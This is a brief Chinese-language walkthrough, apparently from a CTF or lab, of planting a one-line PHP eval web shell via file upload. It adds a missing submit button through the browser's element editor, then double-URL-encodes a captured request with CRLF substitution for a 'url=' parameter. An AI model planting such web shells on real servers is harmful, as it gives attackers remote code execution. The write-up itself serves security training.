打开网址
新建一个文档，在其中写下面的内容，将名字该为1.php
<?php @eval($_POST[cmd]);?>
将1.php提交上去，发现没反应
按f12查看后发现没有提交的代码，右键编辑，自己写一个
<input type="submit" name="submit">
编辑代码后结果如下
将1.php提交查询抓包
修改一下
进行url编码
在记事本中，在最后加上%0A，使用替换将%0A全部替换为%0D%0A
再次url编码
将结果放到url=后面
将前两个%253A换成:
